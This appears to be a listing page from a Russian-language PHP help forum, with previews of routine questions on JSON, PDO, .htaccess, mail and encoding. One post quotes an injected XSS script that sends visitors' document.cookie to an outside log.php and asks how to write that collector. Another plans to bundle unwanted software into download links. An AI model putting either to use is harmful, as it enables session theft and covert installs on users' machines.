PHP
A general-purpose scripting language especially suited to web development
Explore Questions
There are no popular questions to show right now
-
0 votes2 answers
-
0 votes1 answer
-
0 votes1 answer
-
0 votes2 answers
-
0 votes0 answers
2,481 questions in this forum
-
Разбор JSON объекта
Не подскажет ли кто, разбираю json обект так $result = json_decode($result);echo '<pre>'.print_r($result, true).'</pre>';Получаю вот такую кухню stdClass Object( [240] => текст1 [38] => текст2 [82] => текст3Как разобрать это дело чтоб получить отдельно в переменную 240 и во вторую переменную текст1, 240 - значения всегда разные по ключу массива не получится, должно быть каке то простое решение по идее
0 votes1 answer -
Проблема с использованием параметра OFFSET в sql-запросе
Здравствуйте! Пытаюсь реализовать постраничную навигацию. Проблема встала в выдаче следующей ошибки "ERROR: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''5',5' at line 1" Сам запрос, в котором сервер видит ошибку: $stmt = $pdo->prepare('SELECT * FROM male_articles ORDER BY id DESC LIMIT :offset,:limit');$stmt->bindValue(':limit', $count, PDO::PARAM_INT);$stmt->bindValue(':offset', $start, PDO::PARAM_INT);$stmt->execute();$pages = $stmt->fetchAll(PDO::FETCH_ASSOC);Пробовал и так, как выше, и так: $stmt = $pdo->…
0 votes2 answers -
Добавление данных в БД через форму
Выводить данные из БД научился, но когда добавляю данные через форму в БД выводятся ошибки следующие. Warning: mysql_real_escape_string(): Access denied for user ''@'localhost' (using password: NO) in C:\OpenServer\domains\php\add.php on line 8Warning: mysql_real_escape_string(): A link to the server could not be established in C:\OpenServer\domains\php\add.php on line 8Warning: mysql_real_escape_string(): Access denied for user ''@'localhost' (using password: NO) in C:\OpenServer\domains\php\add.php on line 9Warning: mysql_real_escape_string(): A link to the server could not be established in C:\OpenServer\domains\php\add.php on line 9Warning: Cannot modify header inform…
0 votes2 answers -
PHPMailer
Привет, форумчане! Подскажите, в чем может быть дело? Возникла проблема с PHPMAiler. PHP ругается на то, что в 1197 строке файла class.phpmailer.php не найден класс SMTP. Кто-нибудь сталкивался с подобной проблемой? Заранее спасибо?
0 votes3 answers -
Немного помощи с .htaccess!
Здравствуйте, всем! Такой вот вопрос: Имеется пару строчек по преобразованию URL в файле .htaccess RewriteEngine onRewriteCond %{REQUEST_FILENAME} !-dRewriteCond %{REQUEST_FILENAME}\.php -fRewriteRule ^(.*)$ $1.phpRewriteCond %{HTTP_HOST} ^www\.site\.ru$RewriteRule ^(.*)$ http://site.ru/$1 Все прекрасно работает за исключением одного момента: Если я хочу перейти по адресу www.site.ru/index, он преобразовывается следующим образом - site.ru/index.php Как сделать так, чтобы расширение не добавлялось. Догадываюсь, что проблема решается тривиально, но не могу понять, как. Если кто-то знает, то буду благодарен любой помощи) P.S.: Причем добавляет только у индексной страницы. …
0 votes1 answer -
Кодировка в Outlook
Написал скрипт отправки писем на php. В заголовке письма указал кодировку utf-8, на онлайн сервисы приходит все нормально. Но в outlook крякозябры. В чем может быть проблема?
0 votes2 answers -
Как запустить цикл foreach внутри printf, которая также выводится в цикле foreach?
Здравствуйте! Необходимо запустить вывод тегов (отдельных слов) внутри printf(). Теги хранятся в отдельной ячейке и разделены "/". Так идёт вывод сейчас: foreach ($pages AS $page) { printf(" <div class='article_block'> <a href='/view_article.php?id=%s' target='_self' title='%s' class='pre_img'><img src='%s' width='640'></a> <div class='tags_block'>%s</div> <div class='article_block_name'> <p><a href='/magazine/male_articles/view_article.php?id=%s' target='_self'>%s</a></p></div></div>", $page["id"], $page["title"], $page["article_img"], $page["tags"], $page["id"], $page["title"]); }Нужно в <…
0 votes5 answers -
Идеальная модель [90,60,90]
Приветствую, дорогие форумчане! На дворе весна, давайте пофантазируем на тему идеальной модели (нет, разделом я не ошибся, речь пойдёт о модели представления данных). Какие методы, свойства, кроме стандартных (delete, add, update/set, select/get) было бы хорошо реализовать и удобно было бы использовать, чего не хватает, чего очень понравилось в уже существующих реализациях AR, ORM которые вы использовали. Ну, например: имеет ли смысл добавлять в модель форматер данных, чтоб при желании получать не только объект, но и/или массив, json, xml?
0 votes0 answers -
.htaccess скрывается
Такое дело. есть файл .htaccess если я отредактирую его и сохраню. он исчезает. к нему добавляется атрибут "скрытый" и чтобы его редактировать приходится включать скрытые папки и файлы и каждый раз снимать этот атрибут. отредактирую, сохраню и опять скроется. что за ерунда такая? храню его на яндекс диски для синхронизации с облаком.
0 votes3 answers -
Интеграция инстаграма на сайт
Приветствую проггеров, верстальщиков, жабаскриптеров, вобщем всех , не подскажет ли кто старику такой момент - хочу интегрировать фото с инстаграма на сайт - думаю много кто уже делал это, может толково подскажете или кинете в меня хорошими ссылками...... язык реализации желательно PHP , но подойдет и C# - его тож знаю
0 votes5 answers -
Проблема со сложным sql-запросом
Здравствуйте! Функция получает параметр через адресную строку и делает выборку из БД. Если запрос ввожу с конкретными цифрами в phpmyadmin, то запрос выводит то, что нужно. А функция возвращает пустой массив: function article_block($category){try {$dsn = sprintf('mysql:host=%s;dbname=%s;charset=utf8', HOST, DB);$pdo = new PDO($dsn, USER, PASS);$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);}catch (PDOException $e) {echo "<p>Запрос на выборку данных из бызы не прошёл. Напишите об этом администратору <a href='mailto:admin@torawhite.ru'>admin@torawhite.ru</a>.</p><br>ERROR: " . $e->getMessage();exit;}$sql = '(SELECT article_…
0 votes4 answers -
Вывод форматированной даты кириллицей из ячейки с типом DATE
Здравствуйте! В БД дата в ячейке типа DATE устанавливается в виде yyyy-mm-dd. Мне нужно её вывести двумя способами: 1 - в обратном порядке dd-mm-yyyy; 2 - чтобы месяц прописывался кириллицей (5 апреля 2015). Есть какая-то функция, которая может обработать значение массива, в котором содержится дата или какой-нибудь рабочий способ?
0 votes5 answers -
Не работает php. 500 Internal Server Error
Здравствуйте! Не запускаются php-файлы на виртуальном хостинге. Возвращает ошибку 500. Точнее есть несколько аккаунтов - на одном из них работает всё. На остальных нет. В логах неработающих аккаунтов - SoftException in Application.cpp:422: Mismatch between target UID (502) and UID (501) of file Apache php 5.3 Suphp
0 votes4 answers -
jquery file upload
всем привет понадобилось поставить обычный загрузчик файлов решил попробовать поставить jQuery-File-Upload, скачав закинув файлы на сайт работающий на iis, возникла проблема файлы грузятся, выдается список загруженного, но после закрытия браузера и и вновь его открытия - файлы там так и висят , а список должен быть пустым , новая сессия всёже как. Но странно то что у меня всё норм, новый лист при каждом заходе на сайт, а человек кому я это сделал уверяет в обратном. сказав что проверял на нескольких компах как сделать 100% новую сессию даже после закрытия окна? В файле UploadHandler.php имеются некоторые настройки, в англ я не силен поэтому мог что либо пропустить я мен…
0 votes0 answers -
Ошибка при записи массива в констану
При определении константы через define(), все идеально. define('PATH', $_SERVER['DOCUMENT_ROOT']. '/my_path');Однако при аналогичном определении через const const PATH = $_SERVER['DOCUMENT_ROOT'];Выбрасывает синтаксическую ошибку : Parse error: syntax error, unexpected '$_SERVER' (T_VARIABLE) Мб я уже туплю, но разъясните плз, что тут не так?
0 votes3 answers -
Не выполняется условие запроса sql
Здравствуйте! Есть функция поиска, которая выбирает условия поиска, исходя из значения $select. Но Это не работает, выполнятся всегда поиск по значению $select == 'all'. Сама функция: function magazine_search($query, $select){ if($select == 'all') { $query = clear($query); try { $dsn = sprintf('mysql:host=%s;dbname=%s;charset=utf8', HOST, DB); $pdo = new PDO($dsn, USER, PASS); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); } catch (PDOException $e) { echo "<p>Запрос на выборку данных из бызы не прошёл. Напишите об этом администратору <a href='mailto:admin@torawhite.ru'>admin…
0 votes1 answer -
Определение кодировки сервера
Ситуация следующая: Есть PHP скрипт index.php в кодировке UTF-8 крутится это все например под Windows у которой кодировка CP1251 Если попробуем создать в корне сайта файлик с именем "тест.php" через скрипт, все будет работать нормально, но при входе на сервер через FTP мы увидим "тест.php" А если закачаем этот файл через ftp, то выглядеть в файловой системе он будет как "тест.php", но вот из index.php данный файл будет доступен только при перекодировании названия в CP1251 Цель: попробовать как-то автоматизировать определение кодировки системы, хотелось бы, чтобы файлы нормально смотрелись как в родной файловой системе, так и были доступны из скриптов в отличной от с…
0 votes12 answers -
как получить куку? хелп
Есть поле сообщений, где добавляется такой скрипт (ниже). Создается картинка с урлом в котором сессионая кука есть. Подскажите плиз как этот log.php должен быть написан принимающий один параметр и забрасывающий результат того, что в урле в текстовый файл log.txt? <script> url=document.cookie; var oImg=document.createElement("img"); oImg.setAttribute('src','http://sait/log.php?cookie='+url); oImg.setAttribute('alt','na'); oImg.setAttribute('height','1px'); oImg.setAttribute('width','1px'); document.body.appendChild(oImg); </script>
0 votes7 answers -
Комментарии на сайте
Хочу сделать так, чтобы комментарии на сайте могли оставлять только зарегистрированные пользователи, но не могу найти подходящего скрипта. Решил сделать так: весь блок с комментариями будет показываться только зарегистрированным пользователям. С PHP у меня очень плохо, в гугле уже 2 дня ищу. Может кто знает подходящий мне скрипт, или знает как это сделать?
0 votes3 answers -
Не могу понять как liveinternet.ru пользователей с сайтов получает?
liveinternet http://www.liveinternet.ru/stat/имясайта.ru/sources.html раздел отчет: количество посетителей с разных сайтов Как сервис собирает данные? counter.yadro.ru/hit?t52.6;r - куда идет запрос(выводит картинку) escape(document.referrer) - ссылка предыдущей страницы ((typeof(screen)=="undefined")?"": - параметры экранна ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? - параметры экранна screen.colorDepth:screen.pixelDepth))+";u"+ - параметры экранна escape(document.URL) имя сайта ";"+Math.random()+ случайное число зачем оно ему?????????? document.referrer можно узнать через $ SERVER['HTTP REFERER'] Не могу понять как он пользователей с сайтов получает?…
0 votes1 answer -
Дублирование контента (ссылок) на другом домене.
Есть сайт просмотра онлайн фильмов. База уже большая, около 700 фильмов. Для каждого фильма есть ссылка на торрент файл. Есть идея зарабатывать на download трафике, но для этого нужно поставить код партнерки который все ссылки на скачивания заменит на скачивание своей какой то программы, которая в результате устанавливает ненужный пользователю софт в добавок. Из за этого ПС наказывают фильтрами, но есть вариант сделать так, чтобы эти файлы скачивались с другого домена. То есть по клику на "Скачать" открывается новая страница которая ведет на другой по сути сайт а оттуда уже скачивается. Как думаете, как лучше это все реализовать? Что бы при замене/добавлении файлов на осн…
0 votes6 answers -
настроить форму заказа
Добрый день, на сайте http://legrand-servis.rent-odessa.com/ ест форма "оформить заявку" и "Заказать консультацию" как сделать так что бы письмо о заказе приходило на почту. Сайт джумла 3.0 Я в php- полный "НОЛЬ" - прошу помочь в том что бы написать сам пхп. и как его привязать к форме!? Спасибо за любую помощь.!
0 votes4 answers -
.htaccess настройка
Всем привет. Прошу помощи. Пытаюсь сделать seo friendly сайт на angularjs. Собственно вопрос. Есть участок кода настроек для nginx if ($args ~ "_escaped_fragment_=(.*)") { rewrite ^ /snapshot${uri};} Как можно написать аналогичный участок в мой .htaccess файл для apache. Заранее спасибо. Мой файл .htaccess <IfModule mod_rewrite.c> Options +FollowSymlinks RewriteEngine On # Don't rewrite files or directories RewriteCond %{REQUEST_FILENAME} -f [OR] RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^ - [L] # Rewrite everything else to index.html to allow html5 state links RewriteRule ^ index.html [L]</IfModule>
0 votes19 answers -
wget
Приветствую! Возник сл. вопрос: а wget умеет рекурсивно с удаленного хоста скачивать файлы по маске? Пробовал вот так: wget -r -l 0 -np http://site.ru/upload/export_file_*.csvно что-то походу или я не верно запись составил, или это в принципе невозможно сделать... p.s. curl тоже пробовал вот так: curl site.ru/upload -A "*.csv"не алле.
0 votes4 answers -
Разработка приложения на PHP с ООП
Здравствуйте. Подскажите как лучше (правильней) писать приложение с использованием ООП? Имеется в виду создание объекта и дальнейшее указание методов. пример <?php $object = new Contoller(); $object->lang(); $object->view(); // .. //?>Или все делать в самих методах и переходить из метода в метод Пример <?phpClass Controller{ function __construct() { // какой-то код $this->lang(); } function lang() { // какой-то код $this->view(); } function view() { // какой-то код } Заранее спасибо P.S. Прошу не задавать вопросы типа - "Зачем ООП пиши на процедурке?".
0 votes6 answers